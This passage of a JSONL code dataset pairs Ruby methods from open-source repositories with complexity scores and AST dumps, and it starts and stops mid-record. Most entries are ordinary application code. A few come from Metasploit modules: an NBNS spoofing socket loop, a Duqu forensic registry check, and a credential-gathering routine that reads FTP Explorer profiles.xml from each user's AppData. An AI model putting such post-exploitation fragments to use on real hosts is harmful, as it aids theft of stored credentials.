"type\":\"send\",\"children\":[null,\"nilify_params!\",{\"type\":\"send\",\"children\":[null,\"it\"]},{\"type\":\"sym\",\"children\":[\"status_code\"]}]}]},\"merge\",{\"type\":\"send\",\"children\":[null,\"custom_field_values\",{\"type\":\"sym\",\"children\":[\"project\"]}]}]}]}]}","id":"36384561-4fc3-4c68-aa5d-886043e52f36"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/spoof/nbns/nbns_response.rb","start_line":128,"raw_source":"def monitor_socket\n    loop do\n      rds = [sock]\n      wds = []\n      eds = [sock]\n\n      r, = ::IO.select(rds, wds, eds, 0.25)\n      if !r.nil? && (r[0] == sock)\n        packet, host, port = sock.recvfrom(65535)\n        dispatch_request(packet, host, port)\n      end\n    end\n  end","complexity_score":31.85,"ast_json":"{\"type\":\"def\",\"children\":[\"monitor_socket\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"loop\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"rds\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sock\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"wds\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"eds\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sock\"]}]}]},{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"r\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"IO\"]},\"select\",{\"type\":\"lvar\",\"children\":[\"rds\"]},{\"type\":\"lvar\",\"children\":[\"wds\"]},{\"type\":\"lvar\",\"children\":[\"eds\"]},{\"type\":\"float\",\"children\":[0.25]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"r\"]},\"nil?\"]},\"!\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"r\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},\"==\",{\"type\":\"send\",\"children\":[null,\"sock\"]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"packet\"]},{\"type\":\"lvasgn\",\"children\":[\"host\"]},{\"type\":\"lvasgn\",\"children\":[\"port\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sock\"]},\"recvfrom\",{\"type\":\"int\",\"children\":[65535]}]}]},{\"type\":\"send\",\"children\":[null,\"dispatch_request\",{\"type\":\"lvar\",\"children\":[\"packet\"]},{\"type\":\"lvar\",\"children\":[\"host\"]},{\"type\":\"lvar\",\"children\":[\"port\"]}]}]},null]}]}]}]}","id":"db414141-1b71-4740-8d1b-ec3443f8eb1b"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/controllers/oauth/applications_controller.rb","start_line":110,"raw_source":"def find_app\n      @application = ::Doorkeeper::Application.find(params[:id])\n    end","complexity_score":4.6,"ast_json":"{\"type\":\"def\",\"children\":[\"find_app\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ivasgn\",\"children\":[\"@application\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Doorkeeper\"]},\"Application\"]},\"find\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]}]}]}","id":"05742625-5224-44fa-8337-e88f747ea926"}
{"repo_name":"openproject","file_path":"./repos/openproject/lib/open_project/journal_formatter/wiki_diff.rb","start_line":32,"raw_source":"def url_attr(_key, options)\n    journable = @journal.journable\n    version = @journal.version\n\n    default_attributes(options)\n    .merge(controller: \"/wiki\",\n           action: \"diff\",\n           project_id: journable.project.identifier,\n           id: journable.slug,\n           version: version - 1,\n           version_from: version)\n    .compact\n  end","complexity_score":13.8,"ast_json":"{\"type\":\"def\",\"children\":[\"url_attr\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"_key\"]},{\"type\":\"arg\",\"children\":[\"options\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"journable\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@journal\"]},\"journable\"]}]},{\"type\":\"lvasgn\",\"children\":[\"version\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@journal\"]},\"version\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"default_attributes\",{\"type\":\"lvar\",\"children\":[\"options\"]}]},\"merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"controller\"]},{\"type\":\"str\",\"children\":[\"/wiki\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"action\"]},{\"type\":\"str\",\"children\":[\"diff\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"journable\"]},\"project\"]},\"identifier\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"journable\"]},\"slug\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"version\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"version\"]},\"-\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"version_from\"]},{\"type\":\"lvar\",\"children\":[\"version\"]}]}]}]},\"compact\"]}]}]}","id":"0c1cea42-79e3-45b1-a1d0-1a8185027056"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/banzai/reference_parser/commit_range_parser.rb","start_line":8,"raw_source":"def referenced_by(nodes, options = {})\n        range_ids = commit_range_ids_per_project(nodes)\n        projects = find_projects_for_hash_keys(range_ids)\n\n        projects.flat_map do |project|\n          find_ranges(project, range_ids[project.id])\n        end\n      end","complexity_score":10.9,"ast_json":"{\"type\":\"def\",\"children\":[\"referenced_by\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"nodes\"]},{\"type\":\"optarg\",\"children\":[\"options\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"range_ids\",{\"type\":\"send\",\"children\":[null,\"commit_range_ids_per_project\",{\"type\":\"lvar\",\"children\":[\"nodes\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"projects\",{\"type\":\"send\",\"children\":[null,\"find_projects_for_hash_keys\",{\"type\":\"lvar\",\"children\":[\"range_ids\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"projects\"]},\"flat_map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"project\"]}]},{\"type\":\"send\",\"children\":[null,\"find_ranges\",{\"type\":\"lvar\",\"children\":[\"project\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"range_ids\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"project\"]},\"id\"]}]}]}]}]}]}","id":"38f9be3a-ab6d-40f8-babc-b40658757b79"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-calendar/vendor/holidays/test/holidays/definition/parser/test_test.rb","start_line":21,"raw_source":"def test_parse_single_test_happy\n    input = [ { \"given\" => { \"date\" => \"2016-01-01\", \"regions\" => ['us'] }, \"expect\" => { \"name\" => \"Test Holiday\" } } ]\n    @validator.expects(:valid?).with({:dates => [\"2016-01-01\"], :regions=> ['us'], :options => nil, :name => \"Test Holiday\", :holiday => nil}).returns(true)\n\n    result = @parser.call(input)\n\n    assert_equal(1, result.size)\n\n    test = result.first\n    assert(test)\n\n    assert(test.is_a?(Holidays::Definition::Entity::Test))\n    assert_equal([DateTime.parse('2016-01-01')], test.dates)\n    assert_equal([:us], test.regions)\n    assert_equal(\"Test Holiday\", test.name)\n    assert(test.holiday?)\n  end","complexity_score":24.3,"ast_json":"{\"type\":\"def\",\"children\":[\"test_parse_single_test_happy\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"input\",{\"type\":\"array\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"given\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"date\"]},{\"type\":\"str\",\"children\":[\"2016-01-01\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"regions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"us\"]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"expect\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Test Holiday\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@validator\"]},\"expects\",{\"type\":\"sym\",\"children\":[\"valid?\"]}]},\"with\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"dates\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"2016-01-01\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"regions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"us\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"options\"]},{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Test Holiday\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"holiday\"]},{\"type\":\"nil\",\"children\":[]}]}]}]},\"returns\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@parser\"]},\"call\",{\"type\":\"lvar\",\"children\":[\"input\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[1]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"size\"]}]},{\"type\":\"lvasgn\",\"children\":[\"test\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"first\"]}]},{\"type\":\"send\",\"children\":[null,\"assert\",{\"type\":\"lvar\",\"children\":[\"test\"]}]},{\"type\":\"send\",\"children\":[null,\"assert\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"test\"]},\"is_a?\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Holidays\"]},\"Definition\"]},\"Entity\"]},\"Test\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DateTime\"]},\"parse\",{\"type\":\"str\",\"children\":[\"2016-01-01\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"test\"]},\"dates\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"us\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"test\"]},\"regions\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"Test Holiday\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"test\"]},\"name\"]}]},{\"type\":\"send\",\"children\":[null,\"assert\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"test\"]},\"holiday?\"]}]}]}]}","id":"b3853261-3c14-4aed-9e97-737b969d0325"}
{"repo_name":"rails","file_path":"./repos/rails/activemodel/lib/active_model/errors.rb","start_line":151,"raw_source":"def import(error, override_options = {})\n      [:attribute, :type].each do |key|\n        if override_options.key?(key)\n          override_options[key] = override_options[key].to_sym\n        end\n      end\n      @errors.append(NestedError.new(@base, error, override_options))\n    end","complexity_score":11.2,"ast_json":"{\"type\":\"def\",\"children\":[\"import\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"error\"]},{\"type\":\"optarg\",\"children\":[\"override_options\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"attribute\"]},{\"type\":\"sym\",\"children\":[\"type\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"override_options\"]},\"key?\",{\"type\":\"lvar\",\"children\":[\"key\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"override_options\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"key\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"override_options\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"key\"]}]},\"to_sym\"]}]},null]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@errors\"]},\"append\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"NestedError\"]},\"new\",{\"type\":\"ivar\",\"children\":[\"@base\"]},{\"type\":\"lvar\",\"children\":[\"error\"]},{\"type\":\"lvar\",\"children\":[\"override_options\"]}]}]}]}]}","id":"22dfa5a2-bc96-42ed-8041-8b6ecac150e0"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/post/windows/gather/forensics/duqu_check.rb","start_line":33,"raw_source":"def run\n    # Registry artifacts sourced from Symantec report\n    artifacts =\n      [\n        'HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\Zones\\4\\\"CFID\"',\n        'HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\Zones\\4\\CFID',\n        'HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\JmiNET3',\n        'HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\JmiNET3\\FILTER'\n      ]\n    match = 0\n\n    print_status(\"Searching registry on #{sysinfo['Computer']} for CVE-2011-3402 exploitation [Duqu] artifacts.\")\n\n    begin\n      artifacts.each do |artifact|\n        (path, query) = parse_path(artifact)\n        has_key = registry_enumkeys(path)\n        has_val = registry_enumvals(path)\n\n        next unless has_key.include?(query) || has_val.include?(query)\n\n        print_good(\"#{sysinfo['Computer']}: #{path}\\\\#{query} found in registry.\")\n        match += 1\n        report_vuln(\n          host: session.session_host,\n          name: name,\n          info: \"Module #{fullname} detected #{path}\\\\#{query} - possible CVE-2011-3402 exploitation [Duqu] artifact.\",\n          refs: references,\n          exploited_at: Time.now.utc\n        )\n      end\n    rescue StandardError => e\n      vprint_error(e.message)\n    end\n\n    print_status(\"#{sysinfo['Computer']}: #{match} artifact(s) found in registry.\")\n  end","complexity_score":51.38,"ast_json":"{\"type\":\"def\",\"children\":[\"run\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"artifacts\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"HKEY_LOCAL_MACHINE\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Internet Settings\\\\Zones\\\\4\\\\\\\"CFID\\\"\"]},{\"type\":\"str\",\"children\":[\"HKEY_LOCAL_MACHINE\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Internet Settings\\\\Zones\\\\4\\\\CFID\"]},{\"type\":\"str\",\"children\":[\"HKEY_LOCAL_MACHINE\\\\SYSTEM\\\\CurrentControlSet\\\\Services\\\\JmiNET3\"]},{\"type\":\"str\",\"children\":[\"HKEY_LOCAL_MACHINE\\\\SYSTEM\\\\CurrentControlSet\\\\Services\\\\JmiNET3\\\\FILTER\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"match\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Searching registry on \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sysinfo\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Computer\"]}]}]},{\"type\":\"str\",\"children\":[\" for CVE-2011-3402 exploitation [Duqu] artifacts.\"]}]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"artifacts\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"artifact\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"path\"]},{\"type\":\"lvasgn\",\"children\":[\"query\"]}]},{\"type\":\"send\",\"children\":[null,\"parse_path\",{\"type\":\"lvar\",\"children\":[\"artifact\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"has_key\",{\"type\":\"send\",\"children\":[null,\"registry_enumkeys\",{\"type\":\"lvar\",\"children\":[\"path\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"has_val\",{\"type\":\"send\",\"children\":[null,\"registry_enumvals\",{\"type\":\"lvar\",\"children\":[\"path\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"has_key\"]},\"include?\",{\"type\":\"lvar\",\"children\":[\"query\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"has_val\"]},\"include?\",{\"type\":\"lvar\",\"children\":[\"query\"]}]}]},null,{\"type\":\"next\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sysinfo\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Computer\"]}]}]},{\"type\":\"str\",\"children\":[\": \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]}]},{\"type\":\"str\",\"children\":[\"\\\\\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"query\"]}]},{\"type\":\"str\",\"children\":[\" found in registry.\"]}]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"match\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"send\",\"children\":[null,\"report_vuln\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"host\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"session\"]},\"session_host\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[null,\"name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"info\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Module \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"fullname\"]}]},{\"type\":\"str\",\"children\":[\" detected \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]}]},{\"type\":\"str\",\"children\":[\"\\\\\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"query\"]}]},{\"type\":\"str\",\"children\":[\" - possible CVE-2011-3402 exploitation [Duqu] artifact.\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"refs\"]},{\"type\":\"send\",\"children\":[null,\"references\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"exploited_at\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"now\"]},\"utc\"]}]}]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StandardError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"send\",\"children\":[null,\"vprint_error\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"message\"]}]}]},null]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sysinfo\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Computer\"]}]}]},{\"type\":\"str\",\"children\":[\": \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"match\"]}]},{\"type\":\"str\",\"children\":[\" artifact(s) found in registry.\"]}]}]}]}]}","id":"d0f91088-1e81-4e12-b6e0-66f4c1ed2e80"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/post/windows/gather/credentials/ftpx.rb","start_line":43,"raw_source":"def run\n    grab_user_profiles.each do |user|\n      next if user['AppData'].nil?\n\n      xml = get_xml(user['AppData'] + '\\\\FTP Explorer\\\\profiles.xml')\n      unless xml.nil?\n        parse_xml(xml)\n      end\n    end\n  end","complexity_score":16.1,"ast_json":"{\"type\":\"def\",\"children\":[\"run\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"grab_user_profiles\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"[]\",{\"type\":\"str\",\"children\":[\"AppData\"]}]},\"nil?\"]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"xml\",{\"type\":\"send\",\"children\":[null,\"get_xml\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"[]\",{\"type\":\"str\",\"children\":[\"AppData\"]}]},\"+\",{\"type\":\"str\",\"children\":[\"\\\\FTP Explorer\\\\profiles.xml\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"xml\"]},\"nil?\"]},null,{\"type\":\"send\",\"children\":[null,\"parse_xml\",{\"type\":\"lvar\",\"children\":[\"xml\"]}]}]}]}]}]}","id":"35901ffd-86f2-44cc-a3b3-2b8dcd10734a"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/storages/app/common/storages/adapters/providers/nextcloud/contracts/automatic_management_contract.rb","start_line":64,"raw_source":"def nextcloud_default_storage_username?\n              return false unless nextcloud_storage?\n\n              @model.username == @model.provider_fields_defaults[:username]\n            end","complexity_score":6.8,"ast_json":"{\"type\":\"def\",\"children\":[\"nextcloud_default_storage_username?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"nextcloud_storage?\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@model\"]},\"username\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@model\"]},\"provider_fields_defaults\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"username\"]}]}]}]}]}","id":"10be3a9c-140b-417a-ac6f-07c8ef9b36ed"}
{"repo_name":"fluentd","file_path":"./repos/fluentd/lib/fluent/plugin/buffer.rb","start_line":468,"raw_source":"def queued_records\n        synchronize { @queue.reduce(0){|r, chunk| r + chunk.size } }\n      end","complexity_score":6.8,"ast_json":"{\"type\":\"def\",\"children\":[\"queued_records\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"synchronize\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@queue\"]},\"reduce\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"r\"]},{\"type\":\"arg\",\"children\":[\"chunk\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"r\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"chunk\"]},\"size\"]}]}]}]}]}","id":"baeb3657-2c8f-440c-9370-0f7e6b339e4d"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/test/hash_with_indifferent_access_test.rb","start_line":131,"raw_source":"def test_stringify_keys_bang_for_hash_with_indifferent_access\n    assert_instance_of ActiveSupport::HashWithIndifferentAccess, @symbols.with_indifferent_access.dup.stringify_keys!\n    assert_equal @strings, @symbols.with_indifferent_access.dup.stringify_keys!\n    assert_equal @strings, @strings.with_indifferent_access.dup.stringify_keys!\n    assert_equal @strings, @mixed.with_indifferent_access.dup.stringify_keys!\n  end","complexity_score":20.8,"ast_json":"{\"type\":\"def\",\"children\":[\"test_stringify_keys_bang_for_hash_with_indifferent_access\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_instance_of\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"HashWithIndifferentAccess\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@symbols\"]},\"with_indifferent_access\"]},\"dup\"]},\"stringify_keys!\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"ivar\",\"children\":[\"@strings\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@symbols\"]},\"with_indifferent_access\"]},\"dup\"]},\"stringify_keys!\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"ivar\",\"children\":[\"@strings\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@strings\"]},\"with_indifferent_access\"]},\"dup\"]},\"stringify_keys!\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"ivar\",\"children\":[\"@strings\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@mixed\"]},\"with_indifferent_access\"]},\"dup\"]},\"stringify_keys!\"]}]}]}]}","id":"ace191dd-b3e9-4595-a19e-ed06f909324b"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/workers/repository_check/clear_worker.rb","start_line":13,"raw_source":"def perform\n      # Do small batched updates because these updates will be slow and locking\n      Project.select(:id).find_in_batches(batch_size: 100) do |batch|\n        Project.where(id: batch.map(&:id)).update_all(\n          last_repository_check_failed: nil,\n          last_repository_check_at: nil\n        )\n      end\n    